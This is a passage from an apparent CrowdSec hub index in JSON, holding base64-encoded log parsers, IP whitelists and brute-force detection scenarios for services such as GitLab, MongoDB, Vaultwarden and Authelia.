9IicKbm9kZXM6CiAgLSBncm9rOgogICAgICBuYW1lOiAiU1NIRVNBTUVfTE9HSU5fUEFTU1dEIgogICAgICBhcHBseV9vbjogbWVzc2FnZQogICAgICBzdGF0aWNzOgogICAgICAgIC0gbWV0YTogbG9nX3R5cGUKICAgICAgICAgIHZhbHVlOiBzc2hlc2FtZV9sb2dpbgogICAgICAgIC0gbWV0YTogdGFyZ2V0X3VzZXIKICAgICAgICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnNzaGVzYW1lX3VzZXIiCiAgLSBncm9rOgogICAgICBuYW1lOiAiU1NIRVNBTUVfTE9HSU5fUFVCS0VZIgogICAgICBhcHBseV9vbjogbWVzc2FnZQogICAgICBzdGF0aWNzOgogICAgICAgIC0gbWV0YTogbG9nX3R5cGUKICAgICAgICAgIHZhbHVlOiBzc2hlc2FtZV9sb2dpbgogICAgICAgIC0gbWV0YTogdGFyZ2V0X3VzZXIKICAgICAgICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnNzaGVzYW1lX3VzZXIiCiAgLSBncm9rOgogICAgICBuYW1lOiAiU1NIRVNBTUVfQ01EIgogICAgICBhcHBseV9vbjogbWVzc2FnZQogICAgICBzdGF0aWNzOgogICAgICAgIC0gbWV0YTogbG9nX3R5cGUKICAgICAgICAgIHZhbHVlOiBzc2hlc2FtZV9jbWQKICAtIGdyb2s6CiAgICAgIG5hbWU6ICJTU0hFU0FNRV9JTlBVVCIKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKICAgICAgc3RhdGljczoKICAgICAgICAtIG1ldGE6IGxvZ190eXBlCiAgICAgICAgICB2YWx1ZTogc3NoZXNhbWVfaW5wdXQKc3RhdGljczoKICAgIC0gdGFyZ2V0OiBldnQuU3RyVGltZQogICAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC50aW1lc3RhbXAiCiAgICAtIG1ldGE6IHNlcnZpY2UKICAgICAgdmFsdWU6IHNzaGVzYW1lCiAgICAtIG1ldGE6IHNvdXJjZV9pcAogICAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC5zb3VyY2VfaXAiCiAgICAtIG1ldGE6IHVzZXJuYW1lCiAgICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnNzaGVzYW1lX3VzZXIiCiAgICAtIG1ldGE6IGNvbW1hbmQKICAgICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQuc3NoZXNhbWVfY21kIgogICAgLSBtZXRhOiBpbnB1dAogICAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC5zc2hlc2FtZV9pbnB1dCIK", "description": "Parse sshesame logs", "author": "thespad", "labels": null }, "timokoessler/gitlab-logs": { "path": "parsers/s01-parse/timokoessler/gitlab-logs.yaml", "stage": "s01-parse", "version": "0.1", "versions": { "0.1": { "digest": "14e3359355433275065f1451beb547ed3b282292af41b02c3121a71395138ac2", "deprecated": false } }, "long_description": "UGFyc2VyIGZvciBbR2l0TGFiXShodHRwczovL2Fib3V0LmdpdGxhYi5jb20pIExvZ3MuIFRlc3RlZCB3aXRoIHRoZSBPbW5pYnVzIHBhY2thZ2UgdjE0IGFuZCB2MTUuCgpFeGFtcGxlIGFjcXVpc2l0aW9uIGZvciBhIGxvZyBmaWxlOgpgYGB5YW1sCi0tLQpmaWxlbmFtZXM6CiAtIC92YXIvbG9nL2dpdGxhYi9naXRsYWItcmFpbHMvcHJvZHVjdGlvbl9qc29uLmxvZwpsYWJlbHM6CiAgdHlwZTogZ2l0bGFiCmBgYAoKb3IgZm9yIERvY2tlcjoKYGBgeWFtbAotLS0Kc291cmNlOiBkb2NrZXIKY29udGFpbmVyX25hbWU6CiAtIG15X2NvbnRhaW5lcl9uYW1lCmxhYmVsczoKICB0eXBlOiBnaXRsYWIKYGBgCkRlcGVuZGluZyBvbiB5b3VyIGdpdGxhYiBpbnN0YWxsYXRpb24gbWV0aG9kLCBwYXRocyB0byBsb2cgZmlsZXMgbWlnaHQgY2hhbmdlLg==", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCmZpbHRlcjogIlVwcGVyKGV2dC5QYXJzZWQucHJvZ3JhbSkgPT0gJ0dJVExBQiciCm5hbWU6IHRpbW9rb2Vzc2xlci9naXRsYWItbG9ncwpkZXNjcmlwdGlvbjogIlBhcnNlIEdpdExhYiBMb2dzIgpub2RlczoKICAtIGZpbHRlcjogfAogICAgIEpzb25FeHRyYWN0KGV2dC5QYXJzZWQubWVzc2FnZSwgIm1ldGhvZCIpID09ICdQT1NUJyAmJgogICAgIEpzb25FeHRyYWN0KGV2dC5QYXJzZWQubWVzc2FnZSwgInBhdGgiKSBpbiBbJy91c2Vycy9zaWduX2luJywgJy91c2Vycy9hdXRoL2xkYXBtYWluL2NhbGxiYWNrJ10gJiYKICAgICBhbnkoSnNvbkV4dHJhY3RTbGljZShldnQuUGFyc2VkLm1lc3NhZ2UsICJwYXJhbXMiKSwgey5rZXkgPT0gJ3VzZXInICYmIC52YWx1ZS5sb2dpbiAhPSAnJ30pICYmCiAgICAgKEpzb25FeHRyYWN0KGV2dC5QYXJzZWQubWVzc2FnZSwgJ3N0YXR1cycpID09ICcwJyB8fCBKc29uRXh0cmFjdChldnQuUGFyc2VkLm1lc3NhZ2UsICdhY3Rpb24nKSA9PSAnZmFpbHVyZScpCiAgICBzdGF0aWNzOgogICAgICAtIG1ldGE6IGxvZ190eXBlCiAgICAgICAgdmFsdWU6ICJnaXRsYWJfZmFpbGVkX3Bhc3N3b3JkIgogICAgICAtIG1ldGE6IHVzZXJuYW1lCiAgICAgICAgZXhwcmVzc2lvbjogZmlsdGVyKEpzb25FeHRyYWN0U2xpY2UoZXZ0LlBhcnNlZC5tZXNzYWdlLCAicGFyYW1zIiksIHsua2V5ID09ICd1c2VyJyAmJiAudmFsdWUubG9naW4gIT0gJyd9KVswXVsndmFsdWUnXVsnbG9naW4nXQogIC0gZmlsdGVyOiB8CiAgICAgSnNvbkV4dHJhY3QoZXZ0LlBhcnNlZC5tZXNzYWdlLCAibWV0aG9kIikgPT0gJ1BPU1QnICYmCiAgICAgSnNvbkV4dHJhY3QoZXZ0LlBhcnNlZC5tZXNzYWdlLCAicGF0aCIpID09ICcvdXNlcnMvc2lnbl9pbicgJiYKICAgICBKc29uRXh0cmFjdChldnQuUGFyc2VkLm1lc3NhZ2UsICdwYXJhbXMnKSBjb250YWlucyAnb3RwX2F0dGVtcHQnICYmCiAgICAgSnNvbkV4dHJhY3QoZXZ0LlBhcnNlZC5tZXNzYWdlLCAnc3RhdHVzJykgIT0gJzMwMicKICAgIHN0YXRpY3M6CiAgICAgIC0gbWV0YTogbG9nX3R5cGUKICAgICAgICB2YWx1ZTogImdpdGxhYl9mYWlsZWRfdG90cCIKCnN0YXRpY3M6CiAgLSBtZXRhOiBzZXJ2aWNlCiAgICB2YWx1ZTogZ2l0bGFiCiAgLSBtZXRhOiBzb3VyY2VfaXAKICAgIGV4cHJlc3Npb246IEpzb25FeHRyYWN0KGV2dC5QYXJzZWQubWVzc2FnZSwgInJlbW90ZV9pcCIpCiAgLSBwYXJzZWQ6IHRpbWVzdGFtcAogICAgZXhwcmVzc2lvbjogSnNvbkV4dHJhY3QoZXZ0LlBhcnNlZC5tZXNzYWdlLCAidGltZSIpCiAgLSB0YXJnZXQ6IGV2dC5TdHJUaW1lCiAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC50aW1lc3RhbXAi", "description": "Parse GitLab Logs", "author": "timokoessler", "labels": null }, "timokoessler/mongodb-logs": { "path": "parsers/s01-parse/timokoessler/mongodb-logs.yaml", "stage": "s01-parse", "version": "0.1", "versions": { "0.1": { "digest": "1e2e1a5beb799d0d533cfc5fc3a490c1860c55d518c3a3edb77f3c47ebc4c55b", "deprecated": false } }, "long_description": "VGhpcyBpcyBhIHBhcnNlciBmb3IgW01vbmdvREJdKGh0dHBzOi8vd3d3Lm1vbmdvZGIuY29tLykgbG9ncy4gTW9uZ29EQiB2ZXJzaW9uIDQuNCBvciBoaWdoZXIgaXMgcmVxdWlyZWQuCgpFeGFtcGxlIGFjcXVpc2l0aW9uIGZvciBhIGRvY2tlciBjb250YWluZXI6CmBgYHlhbWwKLS0tCnNvdXJjZTogZG9ja2VyCmNvbnRhaW5lcl9uYW1lOgogLSBteV9jb250YWluZXJfbmFtZQpsYWJlbHM6CiAgdHlwZTogbW9uZ29kYgpgYGAKCm9yIGZvciBhIGxvZyBmaWxlOgpgYGB5YW1sCi0tLQpmaWxlbmFtZXM6CiAtIC92YXIvbG9nL21vbmdvZGIvbW9uZ29kYi5sb2cKbGFiZWxzOgogIHR5cGU6IG1vbmdvZGIKYGBgCkRlcGVuZGluZyBvbiB5b3VyIGluc3RhbGxhdGlvbiBtZXRob2QsIHBhdGhzIHRvIGxvZyBmaWxlcyBtaWdodCBjaGFuZ2Uu", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCmZpbHRlcjogIlVwcGVyKGV2dC5QYXJzZWQucHJvZ3JhbSkgPT0gJ01PTkdPREInIgpuYW1lOiB0aW1va29lc3NsZXIvbW9uZ29kYi1sb2dzCmRlc2NyaXB0aW9uOiAiUGFyc2UgTW9uZ29EQiBsb2dzIgpub2RlczoKICAtIGZpbHRlcjogfAogICAgIEpzb25FeHRyYWN0KGV2dC5QYXJzZWQubWVzc2FnZSwgImMiKSA9PSAnQUNDRVNTJyAmJgogICAgIEpzb25FeHRyYWN0KGV2dC5QYXJzZWQubWVzc2FnZSwgIm1zZyIpID09ICdBdXRoZW50aWNhdGlvbiBmYWlsZWQnCiAgICBzdGF0aWNzOgogICAgICAtIG1ldGE6IGxvZ190eXBlCiAgICAgICAgdmFsdWU6ICJtb25nb2RiX2ZhaWxlZF9hdXRoIgogICAgZ3JvazoKICAgICAgcGF0dGVybjogJyV7SVBPUkhPU1Q6cmVtb3RlX2FkZHJ9JwogICAgICBleHByZXNzaW9uOiBKc29uRXh0cmFjdChldnQuUGFyc2VkLm1lc3NhZ2UsICJhdHRyLnJlbW90ZSIpCgpzdGF0aWNzOgogIC0gbWV0YTogc2VydmljZQogICAgdmFsdWU6IG1vbmdvZGIKICAtIG1ldGE6IHNvdXJjZV9pcAogICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQucmVtb3RlX2FkZHIiCiAgLSBwYXJzZWQ6IHRpbWVzdGFtcAogICAgZXhwcmVzc2lvbjogSnNvbkV4dHJhY3QoZXZ0LlBhcnNlZC5tZXNzYWdlLCAidC4kZGF0ZSIpCiAgLSB0YXJnZXQ6IGV2dC5TdHJUaW1lCiAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC50aW1lc3RhbXAiCiAgLSBtZXRhOiB1c2VybmFtZQogICAgZXhwcmVzc2lvbjogSnNvbkV4dHJhY3QoZXZ0LlBhcnNlZC5tZXNzYWdlLCAiYXR0ci5wcmluY2lwYWxOYW1lIikKICAtIG1ldGE6IGF1dGhlbnRpY2F0aW9uX2RhdGFiYXNlCiAgICBleHByZXNzaW9uOiBKc29uRXh0cmFjdChldnQuUGFyc2VkLm1lc3NhZ2UsICJhdHRyLmF1dGhlbnRpY2F0aW9uRGF0YWJhc2UiKQ==", "description": "Parse MongoDB logs", "author": "timokoessler", "labels": null }, "timokoessler/uptime-kuma-logs": { "path": "parsers/s01-parse/timokoessler/uptime-kuma-logs.yaml", "stage": "s01-parse", "version": "0.2", "versions": { "0.1": { "digest": "7fe2f059bf9f3a60c6ab262d5ac1efe98812a85fe6c11e4d91b6a25d8e42b4ac", "deprecated": false }, "0.2": { "digest": "2732333702233c0854e833ae830f7ab8ac8aebeaf3decab285f865a00164701c", "deprecated": false } }, "long_description": "UGFyc2VyIGZvciBbVXB0aW1lIEt1bWFdKGh0dHBzOi8vZ2l0aHViLmNvbS9sb3Vpc2xhbS91cHRpbWUta3VtYSkgTG9ncy4KCioqVXB0aW1lIEt1bWEgdmVyc2lvbiAxLjE1LjAgb3IgaGlnaGVyIGlzIHJlcXVpcmVkLioqCgpFeGFtcGxlIGFjcXVpc2l0aW9uIGZvciBEb2NrZXI6CmBgYHlhbWwKLS0tCnNvdXJjZTogZG9ja2VyCmNvbnRhaW5lcl9uYW1lOgogLSBteV9jb250YWluZXJfbmFtZQpsYWJlbHM6CiAgdHlwZTogdXB0aW1lLWt1bWEKYGBg", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCmZpbHRlcjogIlVwcGVyKGV2dC5QYXJzZWQucHJvZ3JhbSkgPT0gJ1VQVElNRS1LVU1BJyIKbmFtZTogdGltb2tvZXNzbGVyL3VwdGltZS1rdW1hLWxvZ3MKZGVzY3JpcHRpb246ICJQYXJzZSBVcHRpbWUgS3VtYSBMb2dzIgpub2RlczoKICAtIGdyb2s6CiAgICAgIHBhdHRlcm46ICdeJXtUSU1FU1RBTVBfSVNPODYwMTp0aW1lc3RhbXB9IFxbQVVUSFxdIFdBUk46IEluY29ycmVjdCB1c2VybmFtZSBvciBwYXNzd29yZCBmb3IgdXNlciAle0RBVEE6dXNlcm5hbWV9XC4gSVA9JXtJUDpzb3VyY2VfaXB9JCcKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKICAgICAgc3RhdGljczoKICAgICAgICAtIG1ldGE6IGxvZ190eXBlCiAgICAgICAgICB2YWx1ZTogdXB0aW1lX2t1bWFfZmFpbGVkX3Bhc3N3b3JkCiAgLSBncm9rOgogICAgICBwYXR0ZXJuOiAnXiV7VElNRVNUQU1QX0lTTzg2MDE6dGltZXN0YW1wfSBcW0FVVEhcXSBXQVJOOiBJbnZhbGlkIHRva2VuIHByb3ZpZGVkIGZvciB1c2VyICV7REFUQTp1c2VybmFtZX1cLiBJUD0le0lQOnNvdXJjZV9pcH0kJwogICAgICBhcHBseV9vbjogbWVzc2FnZQogICAgICBzdGF0aWNzOgogICAgICAgIC0gbWV0YTogbG9nX3R5cGUKICAgICAgICAgIHZhbHVlOiB1cHRpbWVfa3VtYV9mYWlsZWRfdG90cAoKc3RhdGljczoKICAgIC0gbWV0YTogc2VydmljZQogICAgICB2YWx1ZTogdXB0aW1lLWt1bWEKICAgIC0gbWV0YTogc291cmNlX2lwCiAgICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnNvdXJjZV9pcCIKICAgIC0gdGFyZ2V0OiBldnQuU3RyVGltZQogICAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC50aW1lc3RhbXAiCiAgICAtIG1ldGE6IHVzZXJuYW1lCiAgICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQudXNlcm5hbWUK", "description": "Parse Uptime Kuma Logs", "author": "timokoessler", "labels": null } }, "postoverflows": { "crowdsecurity/cdn-whitelist": { "path": "postoverflows/s01-whitelist/crowdsecurity/cdn-whitelist.yaml", "stage": "s01-whitelist", "version": "0.4", "versions": { "0.1": { "digest": "d1cb42fbe9f3bb37f3cfa77ef5c60ec0b17dc3703bffb0d422dc6fe9cc0eb9f5", "deprecated": false }, "0.2": { "digest": "7fb5b1474067c22192cf12effb7d508e316c130900cb00c108c0467d18d9d2c0", "deprecated": false }, "0.3": { "digest": "63c933b81052c7776deb607ed7c115b89e59a88908123e04573853201122a45a", "deprecated": false }, "0.4": { "digest": "626bd74a8f0dcf8e17d74238d08983693f5ac2d32b1a6ccd2d57fff02731eeaa", "deprecated": false } }, "long_description": "IyBDRE5zIHdoaXRlbGlzdAoKQ0ROcyB3aGl0ZWxpc3QgYmFzZWQgb24gZm9sbG93aW5nIGxpc3RzOgoqIGh0dHBzOi8vd3d3LmNsb3VkZmxhcmUuY29tL2lwcy12NAoKSXQgd2lsbCB3aGl0ZWxpc3Qgb3ZlcmZsb3dzIHRyaWdnZXJlZCBvbiBhbiBJUCBpbiB0aG9zZSBsaXN0cw==", "content": "bmFtZTogY3Jvd2RzZWN1cml0eS9jZG4td2hpdGVsaXN0CmRlc2NyaXB0aW9uOiAiV2hpdGVsaXN0IENETiBwcm92aWRlcnMiCndoaXRlbGlzdDoKICByZWFzb246ICJDRE4gcHJvdmlkZXIiCiAgZXhwcmVzc2lvbjogCiAgICAtICJhbnkoRmlsZSgnY2xvdWRmbGFyZV9pcHMudHh0JyksIHsgSXBJblJhbmdlKGV2dC5PdmVyZmxvdy5BbGVydC5Tb3VyY2UuSVAgLCMpfSkiCiAgICAtICJhbnkoRmlsZSgnY2xvdWRmbGFyZV9pcDZzLnR4dCcpLCB7IElwSW5SYW5nZShldnQuT3ZlcmZsb3cuQWxlcnQuU291cmNlLklQICwjKX0pIgpkYXRhOgogIC0gc291cmNlX3VybDogaHR0cHM6Ly93d3cuY2xvdWRmbGFyZS5jb20vaXBzLXY0CiAgICBkZXN0X2ZpbGU6IGNsb3VkZmxhcmVfaXBzLnR4dAogICAgdHlwZTogc3RyaW5nCiAgLSBzb3VyY2VfdXJsOiBodHRwczovL3d3dy5jbG91ZGZsYXJlLmNvbS9pcHMtdjYKICAgIGRlc3RfZmlsZTogY2xvdWRmbGFyZV9pcDZzLnR4dAogICAgdHlwZTogc3RyaW5nCg==", "description": "Whitelist CDN providers", "author": "crowdsecurity", "labels": null }, "crowdsecurity/ipv6_to_range": { "path": "postoverflows/s00-enrich/crowdsecurity/ipv6_to_range.yaml", "stage": "s00-enrich", "version": "0.1", "versions": { "0.1": { "digest": "f22e5224b84175284024f9ca69e0c97327f0e0d86ff3ccfadf4f26257bf22b96", "deprecated": false } }, "long_description": "VGhpcyBwb3N0b3ZlcmZsb3cgY2hlY2sgaWYgdGhlIHJlbWVkaWF0aW9uIGNvbmNlcm4gYW4gSVB2NiBhbmQgaWYgeWVzLCB3aWxsIGNoYW5nZSB0aGUgdmFsdWUgb2YgdGhlIGRlY2lzaW9uIHRvIHRoZSBJUHY2IC82NCByYW5nZS4=", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCmZpbHRlcjogImV2dC5PdmVyZmxvdy5BbGVydC5SZW1lZGlhdGlvbiA9PSB0cnVlICYmIElzSVBWNihldnQuT3ZlcmZsb3cuQWxlcnQuU291cmNlLklQKSIKbmFtZTogY3Jvd2RzZWN1cml0eS9pcHY2X3RvX3JhbmdlCmRlc2NyaXB0aW9uOiAiIgpzdGF0aWNzOgogIC0gdGFyZ2V0OiBldnQuT3ZlcmZsb3cuQWxlcnQuU291cmNlLlZhbHVlCiAgICBleHByZXNzaW9uOiBJcFRvUmFuZ2UoZXZ0Lk92ZXJmbG93LkFsZXJ0LlNvdXJjZS5JUCwgIi82NCIpCiAgLSB0YXJnZXQ6IGV2dC5PdmVyZmxvdy5BbGVydC5Tb3VyY2UuU2NvcGUKICAgIHZhbHVlOiBSYW5nZQ==", "author": "crowdsecurity", "labels": null }, "crowdsecurity/rdns": { "path": "postoverflows/s00-enrich/crowdsecurity/rdns.yaml", "stage": "s00-enrich", "version": "0.2", "versions": { "0.1": { "digest": "796da42b262fe6574d78a7c7f95f73876d30a07751679a43afd018fc272e490a", "deprecated": false }, "0.2": { "digest": "2b174b379f05edb3aa298b7037f6a85cde06b45893e4152492a51757408d517b", "deprecated": false } }, "long_description": "IyBSZG5zIGVucmljaGVyCgpUaGlzIHdpbGwgdXNlIGByZXZlcnNlX2Ruc2AgbWV0aG9kIHRvIGVucmljaCBhbiBldmVudCB3aXRoIHRoZSByZXZlcnNlIGRucyBvZiB0aGUgSVAgaWYgaXQgZXhpc3RzLgo=", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCmZpbHRlcjogImV2dC5PdmVyZmxvdy5BbGVydC5SZW1lZGlhdGlvbiA9PSB0cnVlIgpuYW1lOiBjcm93ZHNlY3VyaXR5L3JkbnMKZGVzY3JpcHRpb246ICJMb29rdXAgdGhlIEROUyBhc3NvY2lhdGVkIHRvIHRoZSBzb3VyY2UgSVAgb25seSBmb3Igb3ZlcmZsb3dzIgpzdGF0aWNzOgogIC0gbWV0aG9kOiByZXZlcnNlX2RucwogICAgZXhwcmVzc2lvbjogZXZ0Lk92ZXJmbG93LkFsZXJ0LlNvdXJjZS5JUAogIC0gbWV0YTogcmV2ZXJzZV9kbnMKICAgIGV4cHJlc3Npb246IGV2dC5FbnJpY2hlZC5yZXZlcnNlX2Rucwo=", "description": "Lookup the DNS associated to the source IP only for overflows", "author": "crowdsecurity", "labels": null }, "crowdsecurity/seo-bots-whitelist": { "path": "postoverflows/s01-whitelist/crowdsecurity/seo-bots-whitelist.yaml", "stage": "s01-whitelist", "version": "0.4", "versions": { "0.1": { "digest": "6df83947191a61ab73a87fccb3c285563bd9c4b3ef8027558d3510d262776ebe", "deprecated": false }, "0.2": { "digest": "71eccc355bf181addcb1b5681c5fa99e087b23cbd8fed40ade7ff8a3b07488ef", "deprecated": false }, "0.3": { "digest": "43968bb27b6f8cb8420bdcfa997627bce5f19e62fb96299af8c0e1e767ff0582", "deprecated": false }, "0.4": { "digest": "f48b0841cc4cf03fe16f118ea1b5d64f4c1eb07cbacf4647bb0e871b4fd71f8c", "deprecated": false } }, "long_description": "IyBTRU8gQm90cyBXaGl0ZWxpc3QKCkNvbmZpZ3VyYXRpb24gYmFzZWQgb24gYGNyb3dkc2VjdXJpdHkvcmRuc2AgdG8gd2hpdGVsaXN0IGZvbGxvd2luZyBiZW5pZ24gU0VPIGJvdHM6CiogZHVja2R1Y2tCb3QKKiBnb29nbGVib3QKKiB5YW5kZXgKKiBiaW5nCiogYmFpZHUKKiB5YWhvbwoqIHBpbnRlcmVzdAoqIHF3YW50Cg==", "content": "bmFtZTogY3Jvd2RzZWN1cml0eS9zZW8tYm90cy13aGl0ZWxpc3QKZGVzY3JpcHRpb246ICJXaGl0ZWxpc3QgZ29vZCBzZWFyY2ggZW5naW5lIGNyYXdsZXJzIgp3aGl0ZWxpc3Q6CiAgcmVhc29uOiAiZ29vZCBib3RzIChzZWFyY2ggZW5naW5lIGNyYXdsZXJzKSIKICBleHByZXNzaW9uOiAKICAgIC0gImFueShGaWxlKCdyZG5zX3Nlb19ib3RzLnR4dCcpLCB7IGxlbigjKSA+IDAgJiYgZXZ0LkVucmljaGVkLnJldmVyc2VfZG5zIGVuZHNXaXRoICN9KSIKICAgIC0gIlJlZ2V4cEluRmlsZShldnQuRW5yaWNoZWQucmV2ZXJzZV9kbnMsICdyZG5zX3Nlb19ib3RzLnJlZ2V4JykiCiAgICAtICJhbnkoRmlsZSgnaXBfc2VvX2JvdHMudHh0JyksIHsgbGVuKCMpID4gMCAmJiBJcEluUmFuZ2UoZXZ0Lk92ZXJmbG93LkFsZXJ0LlNvdXJjZS5JUCAsIyl9KSIKZGF0YToKICAtIHNvdXJjZV91cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9jcm93ZHNlY3VyaXR5L3NlYy1saXN0cy9tYXN0ZXIvd2hpdGVsaXN0cy9iZW5pZ25fYm90cy9zZWFyY2hfZW5naW5lX2NyYXdsZXJzL3JkbnNfc2VvX2JvdHMudHh0CiAgICBkZXN0X2ZpbGU6IHJkbnNfc2VvX2JvdHMudHh0CiAgICB0eXBlOiBzdHJpbmcKICAtIHNvdXJjZV91cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9jcm93ZHNlY3VyaXR5L3NlYy1saXN0cy9tYXN0ZXIvd2hpdGVsaXN0cy9iZW5pZ25fYm90cy9zZWFyY2hfZW5naW5lX2NyYXdsZXJzL3JuZHNfc2VvX2JvdHMucmVnZXgKICAgIGRlc3RfZmlsZTogcmRuc19zZW9fYm90cy5yZWdleAogICAgdHlwZTogcmVnZXhwCiAgLSBzb3VyY2VfdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vY3Jvd2RzZWN1cml0eS9zZWMtbGlzdHMvbWFzdGVyL3doaXRlbGlzdHMvYmVuaWduX2JvdHMvc2VhcmNoX2VuZ2luZV9jcmF3bGVycy9pcF9zZW9fYm90cy50eHQKICAgIGRlc3RfZmlsZTogaXBfc2VvX2JvdHMudHh0CiAgICB0eXBlOiBzdHJpbmc=", "description": "Whitelist good search engine crawlers", "author": "crowdsecurity", "labels": null } }, "scenarios": { "Dominic-Wagner/vaultwarden-bf": { "path": "scenarios/Dominic-Wagner/vaultwarden-bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "7cfd47daccee7ae3c88be9d772610996114d36be9a4738274ae54509c67e6615", "deprecated": false } }, "long_description": "RGV0ZWN0IGZhaWxlZCB2YXVsdHdhcmRlbiBhdXRoZW50aWNhdGlvbnM6CgogLSBsZWFrc3BlZWQgb2YgMW0sIGNhcGFjaXR5IG9mIDUgb24gc291cmNlIGlwCiAtIGxlYWtzcGVlZCBvZiAxbSwgY2FwYWNpdHkgb2YgNSBvbiBzb3VyY2UgaXAgYW5kIHVuaXF1ZSBkaXN0aW5jdCB1c2Vycwo=", "content": "IyB2YXVsdHdhcmRlbiBicnV0ZWZvcmNlCnR5cGU6IGxlYWt5Cm5hbWU6IERvbWluaWMtV2FnbmVyL3ZhdWx0d2FyZGVuLWJmCmRlc2NyaXB0aW9uOiAiRGV0ZWN0IHZhdWx0d2FyZGVuIGJydXRlZm9yY2UiCmZpbHRlcjogImV2dC5NZXRhLmxvZ190eXBlIGluIFsndmF1bHR3YXJkZW5fZmFpbGVkX2F1dGgnLCAndmF1bHR3YXJkZW5fZmFpbGVkX2FkbWluX2F1dGgnLCAndmF1bHR3YXJkZW5fZmFpbGVkX3RvdHAnXSIKbGVha3NwZWVkOiAxbQpjYXBhY2l0eTogNQpncm91cGJ5OiBldnQuTWV0YS5zb3VyY2VfaXAKYmxhY2tob2xlOiA1bQpyZXByb2Nlc3M6IHRydWUKbGFiZWxzOgogc2VydmljZTogdmF1bHR3YXJkZW4KIHR5cGU6IGJydXRlZm9yY2UKIHJlbWVkaWF0aW9uOiB0cnVlCi0tLQojIHZhdWx0d2FyZGVuIHVzZXItZW51bQp0eXBlOiBsZWFreQpuYW1lOiBEb21pbmljLVdhZ25lci92YXVsdHdhcmRlbi1iZl91c2VyLWVudW0KZGVzY3JpcHRpb246ICJEZXRlY3QgdmF1bHR3YXJkZW4gdXNlciBlbnVtIGJydXRlZm9yY2UiCmZpbHRlcjogZXZ0Lk1ldGEubG9nX3R5cGUgPT0gJ3ZhdWx0d2FyZGVuX2ZhaWxlZF9hdXRoJwpncm91cGJ5OiBldnQuTWV0YS5zb3VyY2VfaXAKZGlzdGluY3Q6IGV2dC5NZXRhLnVzZXJuYW1lCmxlYWtzcGVlZDogMW0KY2FwYWNpdHk6IDUKYmxhY2tob2xlOiA1bQpyZXByb2Nlc3M6IHRydWUKbGFiZWxzOgogc2VydmljZTogc3NoCiB0eXBlOiBicnV0ZWZvcmNlCiByZW1lZGlhdGlvbjogdHJ1ZQ==", "description": "Detect vaultwarden bruteforce", "author": "Dominic-Wagner", "labels": { "remediation": "true", "service": "vaultwarden", "type": "bruteforce" } }, "LePresidente/adguardhome-bf": { "path": "scenarios/LePresidente/adguardhome-bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "af3af350da974cdb51f8dd66b3daae62253719680738a3190b5b48ba7a3fab46", "deprecated": false } }, "long_description": "RGV0ZWN0IGZhaWxlZCBBZEd1YXJkSG9tZSBhdXRoZW50aWNhdGlvbnM6CgogLSBsZWFrc3BlZWQgb2YgMW0sIGNhcGFjaXR5IG9mIDUgb24gc2FtZSBpcCBhZGRyZXNz", "content": "ICMgQWRHdWFyZEhvbWUgYnJ1dGVmb3JjZQp0eXBlOiBsZWFreQpuYW1lOiBMZVByZXNpZGVudGUvYWRndWFyZGhvbWUtYmYKZGVzY3JpcHRpb246ICJEZXRlY3QgQWRHdWFyZEhvbWUgYnJ1dGVmb3JjZSBhdHRhY2tzIiAKZmlsdGVyOiAiZXZ0Lk1ldGEubG9nX3R5cGUgPT0gJ2FkZ3VhcmRob21lX2ZhaWxlZF9hdXRoJyIKbGVha3NwZWVkOiAxbQpjYXBhY2l0eTogNQpncm91cGJ5OiBldnQuTWV0YS5zb3VyY2VfaXAKYmxhY2tob2xlOiA1bQpyZXByb2Nlc3M6IHRydWUKbGFiZWxzOgogc2VydmljZTogYWRndWFyZGhvbWUKIHR5cGU6IGJydXRlZm9yY2UKIHJlbWVkaWF0aW9uOiB0cnVl", "description": "Detect AdGuardHome bruteforce attacks", "author": "LePresidente", "labels": { "remediation": "true", "service": "adguardhome", "type": "bruteforce" } }, "LePresidente/authelia-bf": { "path": "scenarios/LePresidente/authelia-bf.yaml", "version": "0.2", "versions": { "0.1": { "digest": "6859d59edc2371a1b44babd0623f0f4db16feacb2096450ebc19a6804343bc28", "deprecated": false }, "0.2": { "digest": "444cade77860d8cf730df8ca3ddcf728e2246c4c2c72685fd425dedd7ee26457", "deprecated": false } }, "long_description": "RGV0ZWN0IGZhaWxlZCBhdXRoZWxpYSBhdXRoZW50aWNhdGlvbnM6CgogLSBsZWFrc3BlZWQgb2YgMjBzLCBjYXBhY2l0eSBvZiA1IG9uIHNhbWUgdGFyZ2V0IHVzZXIKIC0gbGVha3NwZWVkIG9mIDFtLCBjYXBhY2l0eSBvZiA1IHVuaXF1ZSBkaXN0aW5jdCB1c2Vycw==", "content": 